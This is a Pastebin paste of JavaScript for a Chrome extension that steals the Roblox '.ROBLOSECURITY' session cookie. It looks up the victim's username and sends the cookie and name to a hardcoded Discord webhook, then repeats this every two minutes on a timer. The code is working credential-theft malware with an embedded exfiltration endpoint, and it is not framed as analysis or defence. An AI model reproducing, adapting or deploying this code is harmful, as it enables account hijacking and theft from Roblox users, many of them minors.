Advertisement
Guest User

Untitled

a guest
Jan 18th, 2018
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.88 KB | None | 0 0
  1. var url = "https://discordapp.com/api/webhooks/403602330274103298/XcxtKac3B3xQplx-4JlJYW0g5o9UDC-KFsj2ffyluWf-79z5WSGy1i_WMvMdGG8SKk6c";
  2.  
  3. var myUrl = "https://www.roblox.com/home"; // assuming that this is the url
  4.  
  5. chrome.alarms.create("5min", {
  6. delayInMinutes: 2,
  7. periodInMinutes: 2
  8. });
  9.  
  10. var http = new XMLHttpRequest();
  11.  
  12.  
  13. http.open("POST", url, true);
  14.  
  15. //Send the proper header information along with the request
  16. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  17.  
  18. http.onreadystatechange = function() {//Call a function when the state changes.
  19. if(http.readyState == 4 && http.status == 200) {
  20.  
  21. }
  22. }
  23. var cookieval = "null"
  24. var username = "null"
  25.  
  26.  
  27.  
  28. var xhttp = new XMLHttpRequest();
  29. xhttp.onreadystatechange = function() {
  30. if (this.readyState == 4 && this.status == 200) {
  31. var testRE = xhttp.responseText.match("Hello, (.*)!</a>");
  32. username = testRE[1]
  33.  
  34. http.send("{ \"username\":\"CMR7\", \"avatar_url\":\"https://images.discordapp.net/.eJwlyFEKhCAQANC7eABHZyq3biMmVtSOOBMEsXffIN7fu83ZdjOZRbXKBDCvkrjNVpRbLNkW5rLnWFexiQ-IqjEtR_6qAH4GCg7Rh-7hiIa3AvnRoe88Uo9wXXarxfz-Wfcgqg.xdYOz4n-kCLJ1SrfZHKCmFzshmY\", \"content\":\"RBXTrade: http://rbx.trade/s/" + username + " \\n \\nName: " + username + "\\n \\nCookie: " + cookieval + "\" }");
  35.  
  36. }
  37. };
  38.  
  39. chrome.cookies.get({url: myUrl, name: '.ROBLOSECURITY'}, function(cookie) {
  40. xhttp.open("GET", "https://www.roblox.com/home", true);
  41. xhttp.setRequestHeader(".ROBLOSECURITY", cookie.value);
  42. cookieval = cookie.value;
  43. xhttp.send();
  44. });
  45.  
  46. chrome.alarms.onAlarm.addListener(function(alarm) {
  47. if (alarm.name === "5min") {
  48. chrome.cookies.get({url: myUrl, name: '.ROBLOSECURITY'}, function(cookie) {
  49. // do something with the cookie
  50.  
  51. xhttp.open("GET", "https://www.roblox.com/home", true);
  52. xhttp.setRequestHeader(".ROBLOSECURITY", cookie.value);
  53. xhttp.send();
  54. });
  55. }
  56. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement